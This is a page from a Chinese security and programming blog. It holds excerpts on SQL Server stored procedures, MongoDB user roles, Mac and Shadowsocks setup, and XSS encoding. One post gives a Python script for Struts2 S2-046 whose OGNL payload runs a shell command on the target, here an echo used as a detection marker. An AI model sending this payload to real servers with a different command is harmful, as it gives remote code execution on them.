Reber's Blog

会一点点编程、会一点点渗透


SSI 注入

0x00 SSI

SSI (Server Side Includes)是HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。

more...

SQLServer 存储过程

0x00 数据表结构

CREATE DATABASE student;

CREATE TABLE info
(
    id INT IDENTITY(1,1) PRIMARY KEY NOT NULL,
    name VARCHAR(20) NOT NULL DEFAULT 'xiaoming',
    sex INT NOT NULL DEFAULT 1,
    age INT NOT NULL DEFAULT 0,
    hight INT NOT NULL DEFAULT 0
)

INSERT INTO info(name,sex,age,hight) VALUES('xiaohong',0,23,165);
INSERT INTO info(name,sex,age,hight) VALUES('xiaogang',1,24,175);
INSERT INTO info(name,sex,age,hight) VALUES('xiaoliu',1,21,160);
INSERT INTO info(name,sex,age,hight) VALUES('xiaozhang',1,19,165);
INSERT INTO info(name,sex,age,hight) VALUES('xiaoli',1,23,170);
INSERT INTO info(name,sex,age,hight) VALUES('xiaohua',0,23,160);
INSERT INTO info(name,sex,age,hight) VALUES('xiaoming',1,21,165);
INSERT INTO info(name,sex,age,hight) VALUES('xiaowang',1,23,166);
INSERT INTO info(name,sex,age,hight) VALUES('xiaojuan',0,21,159);

0x01 存储过程

--如果存在名为get_student_msg(相当于函数)的存储过程则删除
IF EXISTS (SELECT name FROM sysobjects WHERE name='get_student_msg' AND type='p')
    DROP PROCEDURE get_student_msg

CREATE PROCEDURE get_student_msg --创建存储过程
    @name VARCHAR(20) --声明全局变量
AS
    BEGIN
        SELECT * from info
        WHERE name=@name
    END
GO

--创建好存储过程后在其他地方直接使用函数并传参就行了
EXEC get_student_msg 'xiaoli'

0x02 使用游标的存储过程

-- 使用DECLARE声明局部变量,一般在函数和存储过程中使用
DECLARE @name VARCHAR(20)
DECLARE @sex INT
DECLARE @age INT
DECLARE @hight INT

DECLARE stu_cursor CURSOR FOR --定义游标,后面跟sql语句
SELECT name,sex,age,hight --使用游标的对象(根据需要写select语句)
FROM dbo.info
WHERE age IN (23,24)

OPEN stu_cursor --打开游标

--将游标向下移1行,并把下一行作为当前行(递归)
--游标刚打开时可以理解为指向第一行之前,所以这里就是把游标指向第一行
--然后获取游标指向行的数据
FETCH NEXT FROM stu_cursor INTO @name,@sex,@age,@hight

WHILE (@@FETCH_STATUS = 0) --判断是否成功获取数据
    BEGIN
        PRINT '名字: '+@name
        PRINT '性别: '+STR(@sex)
        PRINT '年龄: '+STR(@age)
        PRINT '身高: '+STR(@hight)
        PRINT ''

        --游标指向下一行(第二行),然后取出这一行的数据
        FETCH NEXT FROM stu_cursor INTO @name,@sex,@age,@hight
    END

CLOSE stu_cursor --关闭游标
DEALLOCATE stu_cursor --删除游标

SQLServer 的基本使用

0x00 数据库

-- 创建数据库
CREATE DATABASE student;

-- 选择数据库
USE student;

-- 查看当前数据库
SELECT DB_NAME();

-- 查看当前数据库
SELECT DB_NAME();

-- 查看数据库版本
SELECT @@version;

0x01 数据表

-- 创建数据库表
CREATE TABLE info
(
    id INT IDENTITY(1,1) PRIMARY KEY NOT NULL,
    name VARCHAR(20) NOT NULL DEFAULT 'xiaoming',
    sex INT NOT NULL DEFAULT 1
)

-- 查看表结构
EXEC sp_help 'info';

-- 更新表结构
ALTER TABLE info add age int; -- 添加一列
ALTER TABLE info DROP COLUMN age; -- 删除一列

-- 插入数据
INSERT INTO info(name,sex)
VALUES('xiaohong',0);

-- 查看数据
SELECT * FROM dbo.info;

-- 更新数据
UPDATE info
SET name='aaa',sex=1
WHERE id=1;

-- 删除数据
DELETE info
WHERE id=1;

-- 删除表
DROP TABLE info;

MongoDB 的基本使用

0x00 角色和权限

Mongo的授权采用了角色授权的方法,每个用户都有一组权限,Monog内建角色权限如下:

  • 数据库用户角色
    • read:允许用户读取指定数据库
    • readWrite:允许用户读写指定数据库
  • 数据库管理角色
    • dbOwner:包含readWrite、dbAdmin、userAdmin
    • dbAdmin:允许用户在指定数据库中对集合、文档等操作
    • userAdmin:允许用户向system.users集合写入,可以在指定数据库里创建、删除和管理用户
  • 集群管理角色
    • clusterAdmin:只在admin数据库中可用,包含clusterManager、clusterMonitor、hostManager
    • clusterManager:
    • clusterMonitor:
    • hostManager
  • 备份和恢复角色
    • backup
    • restore
  • 所有数据库角色
    • readAnyDatabase:只在admin数据库中可用,赋予用户所有数据库的读权限
    • readWriteAnyDatabase:只在admin数据库中可用,赋予用户所有数据库的读写权限
    • dbAdminAnyDatabase:只在admin数据库中可用,赋予用户所有数据库的dbAdmin权限
    • userAdminAnyDatabase:只在admin数据库中可用,赋予用户所有数据库的userAdmin权限
  • 超级用户角色
    • root:只在admin数据库中可用。超级账号,超级权限
  • 内部角色
    • __system

0x01 创建用户

#创建管理员用户
> use admin
switched to db admin
> db.createUser({
... user:"root",
... pwd:"root123",
... roles:[{"role":"root","db":"admin"}]
... })
Successfully added user: {
        "user" : "root",
        "roles" : [
                {
                        "role" : "root",
                        "db" : "admin"
                }
        ]
}
> db.auth("root","root123")
1

#这个例子创建了一个名为 root 的用户管理员。创建完了这个用户之后,我们应该马上以该用户的身份登录:
#db.auth() 方法返回 1 表示登录成功。接下来我们为指定的数据库创建访问所需的账号。

#创建数据库用户
> use test
switched to db test
> db.createUser({
... user:"test",
... pwd:"test123",
... roles:[
... {"role":"readWrite","db":"test"},
... {"role":"dbOwner","db":"test"}]
... })
Successfully added user: {
        "user" : "test",
        "roles" : [
                {
                        "role" : "readWrite",
                        "db" : "test"
                },
                {
                        "role" : "dbOwner",
                        "db" : "test"
                }
        ]
}
> db.auth("test","test123")
1
> exit
bye

0x02 配置

MongoDb版本:version v3.4.4

more...

Mac 基础设置

macOS Sierra 10.12.6

0x00 安装brew

$ /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

0x01 安装wget

$ brew install wget

0x02 安装oh-my-zsh

$ wget https://github.com/robbyrussell/oh-my-zsh/raw/master/tools/install.sh -O - | sh
$ cat /etc/shells #查看当前有什么shell
$ which zsh #查看zsh路径
$ chsh -s /bin/zsh  #切换shell为zsh
$ vim ~/.zshrc添加alias c='clear'

0x03 换源

# 对于zsh用户换源
$ echo 'export HOMEBREW_BOTTLE_DOMAIN=https://mirrors.ustc.edu.cn/homebrew-bottles' >> ~/.zshrc
$ source ~/.zshrc
$ brew update

0x04 安装scroll-reverser

http://pilotmoon.com/scrollreverser下载

more...

Struts2-046 EXP

Struts2 046

前段时间写的struts2 046检测脚本,代码如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# code by reber

import sys
import pycurl
import StringIO


def initCurl():
    c = pycurl.Curl()
    c.setopt(pycurl.FOLLOWLOCATION, 1) #允许跟踪来源
    c.setopt(pycurl.MAXREDIRS, 5)
    # c.setopt(pycurl.PROXY,'http://127.0.0.1:1080')
    return c

def check(curl, url):
    head = [
        'Connection: close',
        'Content-Type: multipart/form-data; boundary=---------------------------735323031399963166993862150'
    ]

    data = '''-----------------------------735323031399963166993862150\r\nContent-Disposition: form-data; name="foo"; filename="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo dd996b71024fa97cd015f06a7f24ed30').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\0b"\r\nContent-Type: text/plain\r\n\r\nx\r\n-----------------------------735323031399963166993862150--\r\n\r\n'''

    buf = StringIO.StringIO()
    curl.setopt(pycurl.WRITEFUNCTION, buf.write)
    curl.setopt(pycurl.POSTFIELDS,  data)
    curl.setopt(pycurl.URL, url)
    # curl.setopt(pycurl.TIMEOUT, 10)
    curl.setopt(pycurl.HTTPHEADER,  head)
    curl.setopt(pycurl.SSL_VERIFYPEER, 0)
    curl.setopt(pycurl.SSL_VERIFYHOST, 0)
    curl.perform()
    the_page = buf.getvalue()
    buf.close()

    if 'dd996b71024fa97cd015f06a7f24ed30' in the_page:
        print "%s has st2-046 vulnerable." % url

def run(url):
    c = initCurl()
    check(c, url)
    sys.exit(0)

if __name__ == '__main__':
    if len(sys.argv) == 2:
        url = sys.argv[1]
        run(url)
    else:
        print ("usage: %s http://www.baidu.com/vuln.action whoami" % sys.argv[0])
        sys.exit(-1)

XSS 中的编码

攻壳机动队

0x00 浏览器解析

浏览器收到服务器发来的HTML内容,会从头解析,遇到<script></script>时,
会调用js脚本解析器来解析并执行脚本,然后继续解析其他的HTML内容,
对于需要触发才能执行的事件,当事件触发时脚本解析器才会解析其中的脚本,
在这之前它是HTML的一部分

0x01 一些编码

  • URL编码
%+字符的ASCII编码对应的两位十六进制,如"/"的url编码为"%2F"

在 vps 上搭建 Shadowsocks

某科学的超电磁炮

0x01 安装与配置

环境:Ubuntu 14.04.1 LTS

reber@localhost:~$ sudo apt-get update
reber@localhost:~$ python --version
Python 2.7.6
reber@localhost:~$ sudo apt-get install python-gevent python-pip
reber@localhost:~$ sudo pip install shadowsocks
reber@localhost:~$ vim /home/reber/shadowsocks.json
    {
        "server":"服务器 IP 地址", # 服务器 IP (IPv4/IPv6)
        "server_port":8388, # 监听的服务器端口
        "local_address": "127.0.0.1", # 本地监听的 IP 地址
        "local_port":1080, # 本地端端口
        "password":"mypassword", # 密码
        #"port_password":
        #{
        #    "40001": "password1",
        #    "40002": "password2",
        #    "40003": "password3"
        #},
        #"_comment":
        #{
        #    "40001": "xiaoming",
        #    "40002": "lilei",
        #    "40003": "mike"
        #}
        "timeout":300, # 超时时间(秒)
        "method":"aes-256-cfb", # 加密方式
        # 若Linux内核在3.7+,可开启fast_open降低延迟
        # 开启方法:echo 3 > /proc/sys/net/ipv4/tcp_fastopen
        "fast_open": false, 
        "workers": 1 # works数量,默认为 1
    }
reber@localhost:~$ sudo apt-get install python-m2crypto

0x02 服务端启动

# 前台运行
reber@localhost:~$ sudo ssserver -c /home/reber/shadowsocks.json
# 后台运行
reber@localhost:~$ sudo nohup ssserver -c /home/reber/shadowsocks.json > /dev/null 2>&1 &
# 关闭服务
reber@localhost:~$ sudo killall ssserver 

0x03 本地使用

添加如下配置 使用Shadowsocks

more...

Previous Page 6 of 18 Next Page